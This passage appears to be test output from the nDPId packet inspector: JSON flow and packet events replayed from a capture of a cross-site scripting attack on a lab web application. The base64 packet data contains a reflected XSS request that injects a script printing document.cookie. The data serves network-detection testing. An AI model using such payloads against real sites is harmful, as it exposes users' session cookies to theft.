LE0DltRyPmPh3TMCEzdlzSiM0vmpAsLGTq1tgzhhs5oNouRVv49IDc6\/d8FBc6Nxm6dZJS550juOjseyuAO+YJq63UZMpy5NOAzxIMGtr4Di5jKvV5askJK8xt1Ho4fIUmN1ETIsXTiaIwRFRAIKxy1tBuwgrpHqu0me+C4pKT90ZoX0yBgQWYQECSisNOuHgrpT+3WCI5k5IPqaQPPeRTIuQNLKY7GVmaJs4ULVmCg99zlYPcEtq1OKOyy4O7mawTyCE5f4tsp7cST+AX5D0mx2ynNVFMLBy6JV+hb0GC3Z4eIwPGDSdQ+LCkjiXDX2NBZ6XxzCI+hSgwjL6B6mgG7h\/Y\/OpbKr+iBhwLZLfOrAEjpsduSYUijAHWiG5Z6ZD0UvlajKihSekDRuzheT\/GIE+drDEe1wYEzCdiKKHkVP3aPORzujp3Ra+9NEgtJgyq7k3PkMAbp15r+obGBm6uSi3KW9NwyP1EMtZrdfuukuR4U\/UvwKjhSejjT\/5y+VbBaid4QLrdKTilxPUCDtg\/t9M56qOaMTj1eCVLBgt0rGKEe0zZaUaddMb0+lHurtVcJSMaAXahnoFY5P1tzK6w4VdKvWVZFvQqHKnAsiq83QKOr7oYuUPSMVPchrHkFpWcRqsuV1+GSDLu2foT4yKaqbQfw82gkV6grUWG3e9KF0zGS1RTRoUzMCjULGuw27fDtttUWeivVL4mwe5qOHwDIK7Z7td\/zhaAtYZeFIHQydjXXbdfKhWB9Uvud7gJK5lpeMJeEzxYVrOfLgHlUMZrXzyOpQhTREKp14IeyN01xDfwnRtAtTSRg\/3bUz2vTepxbfDWhZkujO5molPlrUVlHcVIu\/nEu2v4u6tsykU6GIQeyGRUJfPayz1wbid2sqSAWZYY3Vsw9YUJIlLcaLlT+WgoGHh5vbzWbe4O\/L1ud89rn5uB79+ePw72f18et9vF+9\/LkbO\/w4tv51dnHj0ed1o+j7vX3vwatrZ0vZQmB9BPbaTm+lFPOdr4sWhKAo1jqmqWH65OP7hkc+DT8VUizywom7VoeHxCNy7iyzafOG1Y5pzpOe1YIUXZrw4yknt3V4Flv4Vkv9Sy0Y1SNoRPFcCvRaIrd35e1iOLK+IDbgyrFMOUdQVsH5not6K+M18tbz4oYX5a3GieLnDmf8pgFnKai7VfZcl1Y\/jy218t4GU9upj\/mi2Tsy9BeD7sj+stJnySeBPEKxldpznBSwZSppRJeVPeIuqwjz25ZqBed61BBv5v9FinsmZSX5x1fMKoWp\/mpvKjvtGGhZ++SJ\/PDMDHG9tl5frjkbI7g+MeLnB3LOIm9gkxGrSzrLx8dDoBiEG+jZ277GUj0JiDRhuNXgJTWFO8LRzSEnG+hHeyilbB6kAx99rbAdCpzJTS7m1TwMeRtwUaQP+ssdAeaKZt3D+oEvhANQh7lLoTvojhAp\/Z1KacBiUsKuNU77V6+EnBtr4+g8OKzDh1Jae49tsTuOq9d8VPXajkBE3txZu+C6Yud+z+zyBwMkhQAAA=="} +00432{"flow_id":265,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3810,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347423,"pkt_ts_usec":609409,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0Qe9AAD4Gg+msEAABwKgKMt6iAFBxNOLMwlm364AQAQIwrgAAAQEICgE6pSoD5Haf"} +00947{"flow_id":265,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3811,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347424,"pkt_ts_usec":636220,"pkt_caplen":449,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":449,"pkt_l4_len":415,"pkt":"ABm5CmnxAMGxFOsxCABFAAGzQfBAAD4GgmmsEAABwKgKMt6iAFBxNOLMwlm364AYAQLetQAAAQEICgE6pioD5HafR0VUIC9kdi92dWxuZXJhYmlsaXRpZXMveHNzX3IvIEhUVFAvMS4xDQpIb3N0OiAyMDUuMTc0LjE2NS42OA0KVXNlci1BZ2VudDogTW96aWxsYS81LjAgKFgxMTsgTGludXggeDg2XzY0OyBydjo0NS4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzQ1LjANCkFjY2VwdDogdGV4dC9odG1sLGFwcGxpY2F0aW9uL3hodG1sK3htbCxhcHBsaWNhdGlvbi94bWw7cT0wLjksKi8qO3E9MC44DQpBY2NlcHQtTGFuZ3VhZ2U6IGVuLVVTLGVuO3E9MC41DQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXAsIGRlZmxhdGUNCkNvb2tpZTogc2VjdXJpdHk9bG93OyBzZWN1cml0eT1sb3c7IFBIUFNFU1NJRD12Nm9va2Y2ZTI2bjFpZG81c2l2ZTZzYWk3MQ0KQ29ubmVjdGlvbjoga2VlcC1hbGl2ZQ0KDQo="} +02820{"flow_id":265,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3812,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347424,"pkt_ts_usec":639915,"pkt_caplen":1836,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1836,"pkt_l4_len":1802,"pkt":"AMGxFOsxABm5CmnxCABFAAcexkFAAEAG9qzAqAoyrBAAAQBQ3qLCWbfrcTTkS4AYAPV9\/AAAAQEICgPkd6EBOqYqSFRUUC8xLjEgMjAwIE9LDQpEYXRlOiBUaHUsIDA2IEp1bCAyMDE3IDEzOjIzOjQ0IEdNVA0KU2VydmVyOiBBcGFjaGUvMi40LjE4IChVYnVudHUpDQpFeHBpcmVzOiBUdWUsIDIzIEp1biAyMDA5IDEyOjAwOjAwIEdNVA0KQ2FjaGUtQ29udHJvbDogbm8tY2FjaGUsIG11c3QtcmV2YWxpZGF0ZQ0KUHJhZ21hOiBuby1jYWNoZQ0KVmFyeTogQWNjZXB0LUVuY29kaW5nDQpDb250ZW50LUVuY29kaW5nOiBnemlwDQpDb250ZW50LUxlbmd0aDogMTQxOQ0KS2VlcC1BbGl2ZTogdGltZW91dD01LCBtYXg9OTkNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkNvbnRlbnQtVHlwZTogdGV4dC9odG1sO2NoYXJzZXQ9dXRmLTgNCg0KH4sIAAAAAAAAA61YbU\/jOBD+DNL+B59POmClxtvbL7dcmhW0cCCxt9y2LHvSSZGbuK3BiYPttPDvb+w4bXgt2SKh4pd5eTzjGc\/k3Xb4y+Brf\/Tv+RGamUyg84vDs9M+wh1CLj\/2CRmMBujHyejLGeoGH9DQKJ4YQo7+xgjPjCn2CVksFsHiYyDVlIy+kVsrpWvZ\/LCjHU+QmhRH77bfbYdOz20mct17Qkb306dPFWtFvhXOGE1huLUVZsxQZFk67Kbk8x7uy9yw3HRGdwXDKKlmPWzYrSFWxJ8omVGlmeldjI47f2BEKplboeFGsOh7KXKm6JgLbu720Tc2ESwxLEV9JbVGQ24YGiaKF4bnU7T7YzjcQ\/v7aECzHNW8gqFLNkYHRSF4Qg2XOdodfL882EPzbtD9gN4P2JwJWWQA7X1IKsUeheD5NVJM9LA2d4LpGWMGIwOn8YdItMZoptikh4OAwF86X1C7SjLK88Btk8fSOJiilvMfz+iUEVi6L2lC55YscBtLGdqdtgnhis5ptYqRVsk9IFfa\/T8HBcGVxlFIKkrvOeJdZ8djmd6hRFBtvS4zhiuXpnyOeNrD1ndwIqa81xtbVkhjfSvk2fQREndITYScyqDIpxhRARdhjaNW5wasoO6RamvkGBxXNrQ\/2osLmqYsrQ4EBKWoz2l3D4VMrq1pBEcyT0D1dQ8veJ7KRQBbDkdvpzpJsINrVmCg99wV4OgEzBYSClYWPNp+jUCeQ\/SViV3SQTErXpD\/kBRHp42Vdmoh4Mpijb4lDY6GdogIhB8sosFhQxkpRbSBQeeN+OZwPcaqNIy8gOppBhwd2v\/oWKqkpQceCmS3LGkDwNHjqC+zjOYpOs2vmPPIZigSrSZtUDh6QDH8dryZ4gknwecCQrXHgbNM2Zpb8ip+HB1zCO5Tu6I3tk1ZCEnTNtbxHB7GhZtt6B9aGHi5WrnIs7i4ZUmpGOofnI\/6JwebQdE3grfB4eghpv85e6vLaiXGY3jcWjmlwfUADdo9tMt7m6FaMHod81aQahYcXcIIDZm2txWdDlqm14dyb7WOWwGpGHAE9QzUKl+\/bGgKK0419GtWVVGvwqFqHMvi6w3Q6LbW0DWKoZHqPoQNnyAXi1Bdrn0OV2Q4svUj3I9qqZ05gJ\/nE7lGXYMKR+cn5xAdE9lOER3L0qxRs6TB0YEdvp1ZbaG3Vv2KCEdnbvwAgK\/Y7tV+zxeCtoRdFYLQydhdr9vuNQvBcNb9me4CSuauL5gbwufLCjZOZMpiqhj19fNEqgzlNINqHfih7HUprod\/xQi6pZkE7H8djXxtGhb+xJczanY0upOlcsyf68o6L8pm8Y+9aPu7rG+bRLocZxzI5lSUMB1WU6+NFFHVVBCL0i26rmBp4HD2e\/QF4s3dPpXR6q2ARbvn3QOXYeVW2\/tp3y\/KBdWFaxnhhrBb62XiDNvRYNh4adjYGRa6Iaqm0AhieBRofo2jn5e1vESt8QF3DEWCYSo+gq4Kjhv3ob0x8dB3fi0xvixvPU6WBwt+zQuWcupE21nz5Lo++fPYXi\/jZTz+mMmUL3NhIjObnTsTehO4LwJPgngF46s0VzipYMp0nYQX1T2iburwyaW66nXjOFbQbla\/dQZ5JuP4sE8Eo2oZTE+lJX2nDctim8qfDM9xaYxtc314fudsgU6YKJYps5BFWcQ1mcz7VdJd9fz7QHFR7KJnHts5SIxnINFex88AyT3pv9WO6Am52EF7OEJrYQ0hFyXsbYFpJ3MtNGtNKvgU0qZgE0hfIcuiC82UTXv7IYEZomnGc+9CmNdvMzqzH3c8DUhcUcCjejoY+p2Ua5u909qLzzp0IqW5962jiDb52FQ89ao1EzCx71b1Wc59MIv+B6iyF7ARFAAA"} +00433{"flow_id":265,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3813,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347424,"pkt_ts_usec":640632,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0QfFAAD4Gg+esEAABwKgKMt6iAFBxNORLwlm+1YAQAR0mJgAAAQEICgE6piwD5Heh"} +01216{"flow_id":265,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3814,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347424,"pkt_ts_usec":872535,"pkt_caplen":651,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":651,"pkt_l4_len":617,"pkt":"ABm5CmnxAMGxFOsxCABFAAJ9QfJAAD4GgZ2sEAABwKgKMt6iAFBxNORLwlm+1YAYAR2IugAAAQEICgE6pmUD5HehR0VUIC9kdi92dWxuZXJhYmlsaXRpZXMveHNzX3IvP25hbWU9JTNDc2NyaXB0JTNFY29uc29sZS5sb2clMjglMjdJTE9MRFM5TUhTM0s2RURSTTlUVVFFTkxVUFVWTVk4U1c3NTFQVUpDRkJaVTcxVkpGWiUyNyUyOSUzQmNvbnNvbGUubG9nJTI4ZG9jdW1lbnQuY29va2llJTI5JTNCJTNDJTJGc2NyaXB0JTNFIEhUVFAvMS4xDQpIb3N0OiAyMDUuMTc0LjE2NS42OA0KVXNlci1BZ2VudDogTW96aWxsYS81LjAgKFgxMTsgTGludXggeDg2XzY0OyBydjo0NS4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzQ1LjANCkFjY2VwdDogdGV4dC9odG1sLGFwcGxpY2F0aW9uL3hodG1sK3htbCxhcHBsaWNhdGlvbi94bWw7cT0wLjksKi8qO3E9MC44DQpBY2NlcHQtTGFuZ3VhZ2U6IGVuLVVTLGVuO3E9MC41DQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXAsIGRlZmxhdGUNClJlZmVyZXI6IGh0dHA6Ly8yMDUuMTc0LjE2NS42OC9kdi92dWxuZXJhYmlsaXRpZXMveHNzX3IvDQpDb29raWU6IHNlY3VyaXR5PWxvdzsgc2VjdXJpdHk9bG93OyBQSFBTRVNTSUQ9djZvb2tmNmUyNm4xaWRvNXNpdmU2c2FpNzENCkNvbm5lY3Rpb246IGtlZXAtYWxpdmUNCg0K"} +02963{"flow_id":265,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3815,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347424,"pkt_ts_usec":875557,"pkt_caplen":1933,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1933,"pkt_l4_len":1899,"pkt":"AMGxFOsxABm5CmnxCABFAAd\/xkNAAEAG9knAqAoyrBAAAQBQ3qLCWb7VcTTmlIAYAP5+XQAAAQEICgPkd9wBOqZlSFRUUC8xLjEgMjAwIE9LDQpEYXRlOiBUaHUsIDA2IEp1bCAyMDE3IDEzOjIzOjQ0IEdNVA0KU2VydmVyOiBBcGFjaGUvMi40LjE4IChVYnVudHUpDQpFeHBpcmVzOiBUdWUsIDIzIEp1biAyMDA5IDEyOjAwOjAwIEdNVA0KQ2FjaGUtQ29udHJvbDogbm8tY2FjaGUsIG11c3QtcmV2YWxpZGF0ZQ0KUHJhZ21hOiBuby1jYWNoZQ0KVmFyeTogQWNjZXB0LUVuY29kaW5nDQpDb250ZW50LUVuY29kaW5nOiBnemlwDQpDb250ZW50LUxlbmd0aDogMTUxNg0KS2VlcC1BbGl2ZTogdGltZW91dD01LCBtYXg9OTgNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkNvbnRlbnQtVHlwZTogdGV4dC9odG1sO2NoYXJzZXQ9dXRmLTgNCg0KH4sIAAAAAAAAA61Y\/0\/bOBT\/GaT9Dz6fdMAk4vWmuw3WZoIWDnZl60gL23RS5CZua+rEWey08N\/fs5O04WvJioSKY78vn+f3\/PyeX202f+t8afe\/947QREcC9QaH3dM2wruEXL5tE9Lpd9C3k\/5ZFzWcN8jTKQ80IUefMcITrZN9QubzuTN\/68h0TPrn5NpIaRi2YrirLI8T6hC7rzZfbTatnutIxKr1gIzG3t5ezpqTbzQnjIYw3NhoRkxTZFh22c+Mz1q4LWPNYr3bv0kYRkH+1cKaXWtiRHxAwYSmiunWoH+8+x4jksvcaGquBXMvMhGzlA654PpmH52zkWCBZiFqp1Ip5HHNkBekPNE8HqPtb563g\/b3UYdGMSp5BUOXbIgOkkTwgGouY7Tdubg82EGzhtN4g1532IwJmUQA7XWT5IoLFILHU5Qy0cJK3wimJoxpjDRYUxgRKIXRJGWjFnYcAn\/hbE7NLIkojx27TO5L47AVpZz\/eETHjMDUbUkjOjNkjl1YyFDW2iqEKzqj+SxGKg1uAblS9n8PFDhXCrtNklMWniOF68x4KMMbFAiqjNdlxHDu0pDPEA9b2PgOLGJp4fXKkhFSmd9o8mh8D4k1UhEhx9JJ4jFGVEAgrHDU0m7ACuruqTab7IPjsor2e2t+QsOQhblBQJCJ0k6zeihkMDVbIziScQCqpy0853Eo5w4sWRytrdwSZwuXrMBAb7nLwe4JbFuTUNhlwd3N5wjkMZy+LDBTykkmyRPy75Ji97QyU08tHLgsWaFvQYNdzwwRgeMHk6hzWFFGMuGusaGzyvnmEB7DNNOMPIHqYQbsHpr\/6FimQU0P3BXIrllQB4Clx25bRhGNQ3QaXzHrkfVQBCod1UFh6QGFd368nuIRJ87HBI5qiwNnFrIVUfIsfuweczjcp2ZGrb03WSIkDevsTsFRwBjYrzX9QxMNN1ctFxUs9tyyIEsZah\/0+u2Tg\/WgqJ+C18Fh6eFMf+2+VLAaif4QLrdaTqlw3UGDtg\/N9M56qOaMTn1eC1LJgt1LGCGPKROt6LRTM73elXutlF8LSM6AXahnoFb5crbmVhhxaUW\/YnkV9SwcaYljUXy9ABpVdzdUicLTMr0NYc0ryJ5FqC5XXodLMuya+hHiI5+qtx3Az+ORXKGuQoXd3kkPTsdI1lNEhzLTK9QsaLB7YIYvt62m0FupfkmE3a4d3wFQVGy3ar\/HC0FTwi4LQehkzGqh26xVC8HmpPEr3QWUzI2iYK4Iny0qWD+QIfNpymhRP49kGqGYRlCtAz+UvTbFtfDvGEG3NJGA\/Z+jflGbNpPC4ssJ1VsK3cgstcwfy8o6TrJq8Y8L0eZ3Ud9WiVQ2jDiQzajI4NPLPwttJHHzpoIYlDneJGXuCRNCoqLVcKHyV1Iw8PB4e+u0+6Xb8fbOTry3\/\/591Dk\/2+sPvh597g56g4uz7++9y3d\/NXqDT+3jwx+Dd42LT8c\/tnY+VCWEMshMp+UEUk452\/mwaEkATsqsa5Yebk7+dM\/gwNvwTyOaX1YwadaK+IBoXMaVaT5V0bDKOVWJ7VkhRNm1CTNiPburwLP+wrO+9Sy0YzQdQyeK4Vai8RS7vy5rEcW18QG3D1WKZql\/BG0dmOu3ob\/Svle0njUxPi1vNU4WO3M+5QkLObWizVfVclVa\/ji258t4Gk9hZjDmi2QcyMhcD7sj+tOxTxIPgngG47M05zipYKluWAlPqrtHXdVRZLc81MvOdZhCv5v\/linskZRX5J1AMJouTvNDeVHdKM0i39wlD+aHYaa16bOL\/HDB2RzB8U8WOTuRSZb4JZmM23nWXz467APFINlGj9z2M5DoT0CiCcePAMnWFH+UjmgJOd9CO9hFK2F5kAwD9rLAlJW5EprZTSr4GPK2YCPIn00WuQPFUpN395sEvhANIx4XLoTvsjhAXfO6VNCAxCUF3OqnHa9YCbky10dYevFRh46k1LceWxJ3ndeu5KFrtZqAibk483dB+2Ln\/g+0PlILkhQAAA=="} +00434{"flow_id":265,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3816,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347424,"pkt_ts_usec":876286,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0QfNAAD4Gg+WsEAABwKgKMt6iAFBxNOaUwlnGIIAQATsb\/wAAAQEICgE6pmYD5Hfc"} +00500{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":3817,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":190,"flow_packet_id":310,"flow_first_seen":1499347291442,"flow_last_seen":1499347358996,"flow_tot_l4_data_len":242610,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1901,"flow_avg_l4_data_len":782,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55632,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":3817,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":225,"flow_packet_id":6,"flow_first_seen":1499347351299,"flow_last_seen":1499347356715,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56266,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":3817,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":225,"flow_packet_id":6,"flow_first_seen":1499347351299,"flow_last_seen":1499347356715,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56266,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":3817,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":226,"flow_packet_id":6,"flow_first_seen":1499347352698,"flow_last_seen":1499347357715,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56280,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":3817,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":226,"flow_packet_id":6,"flow_first_seen":1499347352698,"flow_last_seen":1499347357715,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56280,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":3817,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":228,"flow_packet_id":6,"flow_first_seen":1499347356478,"flow_last_seen":1499347361716,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56320,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":3817,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":228,"flow_packet_id":6,"flow_first_seen":1499347356478,"flow_last_seen":1499347361716,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56320,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":3817,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":229,"flow_packet_id":6,"flow_first_seen":1499347357727,"flow_last_seen":1499347363716,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56334,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":3817,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":229,"flow_packet_id":6,"flow_first_seen":1499347357727,"flow_last_seen":1499347363716,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56334,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":3817,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":230,"flow_packet_id":6,"flow_first_seen":1499347360285,"flow_last_seen":1499347365717,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56360,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":3817,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":230,"flow_packet_id":6,"flow_first_seen":1499347360285,"flow_last_seen":1499347365717,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56360,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00948{"flow_id":265,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3817,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347425,"pkt_ts_usec":883267,"pkt_caplen":449,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":449,"pkt_l4_len":415,"pkt":"ABm5CmnxAMGxFOsxCABFAAGzQfRAAD4GgmWsEAABwKgKMt6iAFBxNOaUwlnGIIAYATvKCgAAAQEICgE6p2ID5HfcR0VUIC9kdi92dWxuZXJhYmlsaXRpZXMveHNzX3IvIEhUVFAvMS4xDQpIb3N0OiAyMDUuMTc0LjE2NS42OA0KVXNlci1BZ2VudDogTW96aWxsYS81LjAgKFgxMTsgTGludXggeDg2XzY0OyBydjo0NS4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzQ1LjANCkFjY2VwdDogdGV4dC9odG1sLGFwcGxpY2F0aW9uL3hodG1sK3htbCxhcHBsaWNhdGlvbi94bWw7cT0wLjksKi8qO3E9MC44DQpBY2NlcHQtTGFuZ3VhZ2U6IGVuLVVTLGVuO3E9MC41DQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXAsIGRlZmxhdGUNCkNvb2tpZTogc2VjdXJpdHk9bG93OyBzZWN1cml0eT1sb3c7IFBIUFNFU1NJRD12Nm9va2Y2ZTI2bjFpZG81c2l2ZTZzYWk3MQ0KQ29ubmVjdGlvbjoga2VlcC1hbGl2ZQ0KDQo="} +02821{"flow_id":265,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3818,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347425,"pkt_ts_usec":886302,"pkt_caplen":1836,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1836,"pkt_l4_len":1802,"pkt":"AMGxFOsxABm5CmnxCABFAAcexkVAAEAG9qjAqAoyrBAAAQBQ3qLCWcYgcTToE4AYAQd9\/AAAAQEICgPkeNkBOqdiSFRUUC8xLjEgMjAwIE9LDQpEYXRlOiBUaHUsIDA2IEp1bCAyMDE3IDEzOjIzOjQ1IEdNVA0KU2VydmVyOiBBcGFjaGUvMi40LjE4IChVYnVudHUpDQpFeHBpcmVzOiBUdWUsIDIzIEp1biAyMDA5IDEyOjAwOjAwIEdNVA0KQ2FjaGUtQ29udHJvbDogbm8tY2FjaGUsIG11c3QtcmV2YWxpZGF0ZQ0KUHJhZ21hOiBuby1jYWNoZQ0KVmFyeTogQWNjZXB0LUVuY29kaW5nDQpDb250ZW50LUVuY29kaW5nOiBnemlwDQpDb250ZW50LUxlbmd0aDogMTQxOQ0KS2VlcC1BbGl2ZTogdGltZW91dD01LCBtYXg9OTcNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkNvbnRlbnQtVHlwZTogdGV4dC9odG1sO2NoYXJzZXQ9dXRmLTgNCg0KH4sIAAAAAAAAA61YbU\/jOBD+DNL+B59POmClxtvbL7dcmhW0cCCxt9y2LHvSSZGbuK3BiYPttPDvb+w4bXgt2SKh4pd5eTzjGc\/k3Xb4y+Brf\/Tv+RGamUyg84vDs9M+wh1CLj\/2CRmMBujHyejLGeoGH9DQKJ4YQo7+xgjPjCn2CVksFsHiYyDVlIy+kVsrpWvZ\/LCjHU+QmhRH77bfbYdOz20mct17Qkb306dPFWtFvhXOGE1huLUVZsxQZFk67Kbk8x7uy9yw3HRGdwXDKKlmPWzYrSFWxJ8omVGlmeldjI47f2BEKplboeFGsOh7KXKm6JgLbu720Tc2ESwxLEV9JbVGQ24YGiaKF4bnU7T7YzjcQ\/v7aECzHNW8gqFLNkYHRSF4Qg2XOdodfL882EPzbtD9gN4P2JwJWWQA7X1IKsUeheD5NVJM9LA2d4LpGWMGIwOn8YdItMZoptikh4OAwF86X1C7SjLK88Btk8fSOJiilvMfz+iUEVi6L2lC55YscBtLGdqdtgnhis5ptYqRVsk9IFfa\/T8HBcGVxlFIKkrvOeJdZ8djmd6hRFBtvS4zhiuXpnyOeNrD1ndwIqa81xtbVkhjfSvk2fQREndITYScyqDIpxhRARdhjaNW5wasoO6RamvkGBxXNrQ\/2osLmqYsrQ4EBKWoz2l3D4VMrq1pBEcyT0D1dQ8veJ7KRQBbDkdvpzpJsINrVmCg99wV4OgEzBYSClYWPNp+jUCeQ\/SViV3SQTErXpD\/kBRHp42Vdmoh4Mpijb4lDY6GdogIhB8sosFhQxkpRbSBQeeN+OZwPcaqNIy8gOppBhwd2v\/oWKqkpQceCmS3LGkDwNHjqC+zjOYpOs2vmPPIZigSrSZtUDh6QDH8dryZ4gknwecCQrXHgbNM2Zpb8ip+HB1zCO5Tu6I3tk1ZCEnTNtbxHB7GhZtt6B9aGHi5WrnIs7i4ZUmpGOofnI\/6Jweb